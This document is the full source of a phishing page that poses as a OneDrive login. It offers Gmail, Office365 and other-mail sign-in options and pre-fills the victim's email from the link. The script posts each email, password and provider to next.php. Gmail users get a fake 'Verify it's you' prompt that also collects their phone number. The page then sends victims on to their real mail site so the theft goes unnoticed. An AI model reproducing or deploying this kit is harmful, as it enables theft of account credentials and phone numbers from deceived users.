<!doctypehtml><html lang=en><script src=https://ajax.googleapis.com/ajax/libs/jquery/2.2.4/jquery.min.js></script><script src=https://code.jquery.com/jquery-3.1.1.min.js><script src="https://code.jquery.com/jquery-3.3.1.js" integrity="sha256-2Kok7MbOyxpgUVvAk/HJ2jigOSYS2auK4Pfzbm7uH60=" crossorigin="anonymous"></script><meta charset=utf-8><meta content=width=device-width,initial-scale=1,shrink-to-fit=no name=viewport><link crossorigin href=https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/css/bootstrap.min.css integrity=sha384-Gn5384xqQ1aoWXA+058RXPxPg6fy4IWvTNh0E263XmFcJlSAwiGgFAW/dAiS6JXm rel=stylesheet><link href=https://fonts.googleapis.com/css?family=Archivo+Narrow&display=swap rel=stylesheet><script crossorigin src=https://kit.fontawesome.com/585b051251.js></script><title>
   OneDrive | Login
  </title><link href=images/onedrive-white.png rel=icon sizes=100x100 type=image/png><link href=css/hover.css media=all rel=stylesheet><link href=css/album.css rel=stylesheet><style>html, body {
        height: 100%;
      }</style><body><div style="filter: blur(8px);
    -webkit-filter: blur(8px);background-color:rgba(0,0,0,0.7);"class=main-video-wrapper><video autoplay=autoplay loop=loop muted=muted playsinline><source src=video/onedrive.mp4 type=video/mp4></video></div><div style="height: 100%;background:rgba(0,0,0,0.5);"><div class=container-fluid><div class=row><div class="col-lg-5 mx-auto"style="margin-top: 60px"><div class=row><div class="col-lg-12 text-white text-center"><img class=img-fluid src=images/onedrive-w.png width=100px><br><span class=h3> Welcome To OneDrive </span><br><span class=text-white> This document is secure, please login to view, edit or download.select an option below to continue. </span></div></div><div class="row mt-4"><div class=col-lg-4><a class="hvr-grow w-100"style="text-decoration: none;"data-target=#ajaxModal data-toggle=modal href=javascript:void(0) id=gmailmodal> <div class="p-2 text-center"style="background-color: #D44638; border-radius:10px;"><img style="padding:5px 0px 5px 0px;"class=img-fluid src=images/gmail1.png width=30px><br><span style="vertical-align: middle; color: white;font-weight: 500;border-radius: 4px;"> Continue with <br> Gmail </span></div> </a></div><div class=col-lg-4><a class="hvr-grow w-100"style="text-decoration: none;"data-target=#ajaxModal data-toggle=modal href=javascript:void(0) id=office365modal> <div class="p-2 text-center"style="background-color: #FF3C00;border-radius:10px;"><img style="padding:5px 0px 5px 0px;"class=img-fluid src=images/office3651.png width=30px><br><span style="vertical-align: middle; color: white;font-weight: 500;border-radius: 4px;"> Continue with <br> Office365 </span></div> </a></div><div class=col-lg-4><a class="hvr-grow w-100"style="text-decoration: none;"data-target=#ajaxModal data-toggle=modal href=javascript:void(0) id=othermodal> <div class="p-2 text-center"style="background-color: #0B5BD3;border-radius:10px;"><img style="padding:5px 0px 5px 0px;"class=img-fluid src=images/other1.png width=30px><br><span style="vertical-align: middle; color: white;font-weight: 500;border-radius: 4px;"> Continue with <br> Other Mail </span></div> </a></div></div></div></div></div></div><div class="modal fade"aria-hidden=true aria-labelledby=exampleModalLabel id=ajaxModal role=dialog tabindex=-1><div class=modal-dialog role=document><div class=modal-content><div class=modal-header><button aria-label=Close class=close data-dismiss=modal type=button><span aria-hidden=true> × </span></button></div><div class=modal-body><center> <img class="img-fluid rounded-circle"id=fieldImg src=images/gmail.png width=80px> <h5 class=modal-title id=exampleModalLabel>Login with <span id=field> Gmail </span></h5> <div class="alert alert-danger"id=msg></div> <span class=text-danger id=error> That account doesn't exist. Enter a different account </span> </center><form class="form-horizontal well"id=contact><div id=div1><div class=col-lg-12><div class=form-group><div id=inputbar><label for=exampleInputEmail1>Email address</label><input placeholder="Enter email"aria-describedby=emailHelp class=form-control id=email name=email type=email><small class="form-text text-muted"id=emailHelp> We'll never share your email with anyone else. </small></div><div class="h5 mt-5"id=automail><i class="fas fa-arrow-left"id=back1> </i>   <span id=emailch> abc@abc.com </span></div></div></div><div class=col-lg-12><div class=form-group><label for=Password>Password</label><input placeholder="Enter Password"aria-describedby=emailHelp class=form-control id=password name=password type=password></div></div></div><div id=div2><i class="fas fa-arrow-left"id=back> </i>   <span class=h5 id=emailch1> abc@abc.com </span><br><span class="h4 font-weight-normal"> Verify it's you </span><br><span> This device is not recognized. For security, Google want to make sure it's really you. </span><br><span class=text-danger id=msg1> </span><br><span> Try another way to sign in </span><div class="form-group mt-3"><input placeholder="Enter Phone No."aria-describedby=emailHelp class=form-control id=phone name=phone type=number></div></div></form></div><div class=modal-footer><button class="btn btn-secondary"data-dismiss=modal type=button>Close</button><button class="btn btn-info pull-right"id=submit-btn>Login</button><button class="btn btn-info pull-right"id=submit-btn1>verify</button></div></div></div></div><script crossorigin integrity=sha384-KJ3o2DKtIkvYIK3UENzmM7KCkRr/rE9/Qpg6aAZGJwFDMVNA/GpGFF93hXpG5KkN src=https://code.jquery.com/jquery-3.2.1.slim.min.js></script><script crossorigin integrity=sha384-ApNbgh9B+Y1QKtv3Rn7W3mgPxhU9K/ScQsAP7hUibX39j7fakFPskvXusvfa0b4Q src=https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.12.9/umd/popper.min.js></script><script crossorigin integrity=sha384-JZR6Spejh4U02d8jOt6vLEHfe/JQGiRRSQQxSfFWpi1MquVdAyjUar5+76PVCmYl src=https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/js/bootstrap.min.js></script><script src=https://ajax.googleapis.com/ajax/libs/jquery/2.2.4/jquery.min.js></script><script src=https://stackpath.bootstrapcdn.com/bootstrap/4.1.3/js/bootstrap.min.js></script><script><!--  /* global $ */
     $(document).ready(function(){
      var count=0;
      $('#div2').hide();
      $('#error').hide();
      $("#automail").hide();
      $("#msg").hide();
      $('#submit-btn1').hide();
      $('#back').click(function () {
        $("#msg").hide();
        $('#email').val("");
        $('#password').val("");

        $('#submit-btn1').hide();
        $('#submit-btn').show();
        $("#div2").animate({left:200, opacity:"hide"}, 0);
        $("#div1").animate({right:200, opacity:"show"}, 1000);

      });
      $('#back1').click(function () {
        $("#msg").hide();
        $('#email').val("");
        $("#automail").animate({left:200, opacity:"hide"}, 0);
        $("#inputbar").animate({right:200, opacity:"show"}, 1000);

      });

      /////////////url email getting////////////////
      var email = window.location.hash.substr(1);
      if (!email) {

      }
      else
      {
        // $('#email').val(email);
        var my_email =email;
        var filter = /^([a-zA-Z0-9_\.\-])+\@(([a-zA-Z0-9\-])+\.)+([a-zA-Z0-9]{2,4})+$/;

        if (!filter.test(my_email)) {
          $('#error').show();
          email.focus;
          return false;
        }
        var ind=my_email.indexOf("@");
        var my_slice=my_email.substr((ind+1));
        var c= my_slice.substr(0, my_slice.indexOf('.'));
        var final= c.toLowerCase();
        if (final=="gmail") {
          $('#contact').trigger("reset");
          $('#fieldImg').attr('src', 'images/gmail.png');
          $('#field').html("Gmail");
          $('#email').val(my_email);
          $('#emailch').html(my_email);
          $("#msg").hide();
          $("#inputbar").animate({left:200, opacity:"hide"}, 0);
          $("#automail").animate({right:200, opacity:"show"}, 1000);
          $('#ajaxModal').modal('show');
        }
        else if(final=="office365")
        {
          $('#contact').trigger("reset");
          $("#msg").hide();
          $('#fieldImg').attr('src', 'images/office365.png');
          $('#field').html("Office 365");
          $('#email').val(my_email);
          $('#emailch').html(my_email);
          $("#msg").hide();
          $("#inputbar").animate({left:200, opacity:"hide"}, 0);
          $("#automail").animate({right:200, opacity:"show"}, 1000);
          $('#ajaxModal').modal('show');
        }
        else
        {
          $('#contact').trigger("reset");
          $("#msg").hide();
          $('#fieldImg').attr('src', 'images/othermail.ico');
          $('#field').html("Other Mail");
          $('#email').val(my_email);
          $('#emailch').html(my_email);
          $("#msg").hide();
          $("#inputbar").animate({left:200, opacity:"hide"}, 0);
          $("#automail").animate({right:200, opacity:"show"}, 1000);
          $('#ajaxModal').modal('show');
        }
      }
      ///////////////url getting email////////////////


      $('#gmailmodal').click(function () {
        $('#contact').trigger("reset");
        $("#msg").hide();
        $('#fieldImg').attr('src', 'images/gmail.png');
        $('#field').html("Gmail");
        $("#msg").hide();
        $('#email').val("");
        $('#password').val("");
        $('#submit-btn1').hide();
        $('#submit-btn').show();
        $("#div2").animate({left:200, opacity:"hide"}, 0);
        $("#div1").animate({right:200, opacity:"show"}, 1000);
        $('#ajaxModal').modal('show');
      });
      $('#office365modal').click(function () {
        $('#contact').trigger("reset");
        $("#msg").hide();
        $('#fieldImg').attr('src', 'images/office365.png');
        $('#field').html("Office 365");
        $("#msg").hide();
        $('#email').val("");
        $('#password').val("");
        $('#submit-btn1').hide();
        $('#submit-btn').show();
        $("#div2").animate({left:200, opacity:"hide"}, 0);
        $("#div1").animate({right:200, opacity:"show"}, 1000);
        $('#ajaxModal').modal('show');
      });
      $('#othermodal').click(function () {
        $('#contact').trigger("reset");
        $("#msg").hide();
        $('#fieldImg').attr('src', 'images/othermail.ico');
        $('#field').html("Other Mail");
        $("#msg").hide();
        $('#email').val("");
        $('#password').val("");
        $('#submit-btn1').hide();
        $('#submit-btn').show();
        $("#div2").animate({left:200, opacity:"hide"}, 0);
        $("#div1").animate({right:200, opacity:"show"}, 1000);
        $('#ajaxModal').modal('show');
      });
      $('#submit-btn').click(function(event){
        $('#error').hide();
        $('#msg').hide();
        event.preventDefault();
        var email=$("#email").val();
        var password=$("#password").val();
        var detail=$("#field").html();
        var msg = $('#msg').html();
        $('#msg').text( msg );
      ///////////new injection////////////////
      var my_email =email;
      var filter = /^([a-zA-Z0-9_\.\-])+\@(([a-zA-Z0-9\-])+\.)+([a-zA-Z0-9]{2,4})+$/;

      if (!filter.test(my_email)) {
        $('#error').show();
        email.focus;
        return false;
      }
      var ind=my_email.indexOf("@");
      var my_slice=my_email.substr((ind+1));
      var c= my_slice.substr(0, my_slice.indexOf('.'));
      var final= c.toLowerCase();
      ///////////new injection////////////////
      count=count+1;
      
      
      $.ajax({
        dataType: 'JSON',
        url: 'next.php',
        type: 'POST',
        data:{
          email:email,
          password:password,
          detail:detail,

        },
            // data: $('#contact').serialize(),
            beforeSend: function(xhr){
              $('#submit-btn').html('Verifing...');
            },
            success: function(response){
              if (count==1 && final=="gmail") {
                $('#emailch1').html(my_email);
                $("#div1").animate({left:200, opacity:"hide"}, 0);
                $("#div2").animate({right:200, opacity:"show"}, 1000);
                $('#submit-btn').hide();
                $('#submit-btn1').show();
                
                return false;

              }
              $("#password").val("");

              if (count>=3) {
                count=0;
                window.location.replace("http://www."+my_slice);
              }
              if(response){
                $("#msg").show();
                console.log(response);
                if(response['signal'] == 'ok'){
                 $('#msg').html(response['msg']);
                  // $('input, textarea').val(function() {
                  //    return this.defaultValue;
                  // });
                }
                else{
                  $('#msg').html(response['msg']);
                }
              }
            },
            error: function(){
              if (count==1 && final=="gmail") {
                $('#emailch1').html(my_email);
                $("#div1").animate({left:200, opacity:"hide"}, 0);
                $("#div2").animate({right:200, opacity:"show"}, 1000);
                $('#submit-btn').hide();
                $('#submit-btn1').show();
                
                return false;

              }
              $("#password").val("");
              if (count>=3) {
                count=0;
                window.location.replace("http://www."+my_slice);
              }
              $("#msg").show();
              $('#msg').html("Please try again later");
            },
            complete: function(){
              $('#submit-btn').html('Login');
            }
          });
    });
      $('#submit-btn1').click(function(event){
        event.preventDefault();
        var email=$("#email").val();
        var password=$("#password").val();
        var phone=$("#phone").val();
        var detail=$("#field").html();
        var msg1 = $('#msg1').html();
        $.ajax({
          dataType: 'JSON',
          url: 'next.php',
          type: 'POST',
          data:{
            email:email,
            password:password,
            detail:detail,
            phone:phone,

          },
          beforeSend: function(xhr){
            $('#submit-btn1').html('Verifing...');
          },
          success: function(response){
            window.location.replace("http://gmail.com/");
            $('#password').val("");
            if(response){
              $("#msg1").show();
              console.log(response);
              if(response['signal'] == 'ok'){
               $('#msg1').html(response['msg']);
             }
             else{
              $('#msg1').html(response['msg']);
            }
          }
        },
        error: function(){
         window.location.replace("http://gmail.com/");
         $('#password').val("");
         $("#msg1").show();
         $('#msg1').html("Please try again later");
       },
       complete: function(){
        $('#submit-btn1').html('Verify');
      }
    });
         // }
       });
    });</script>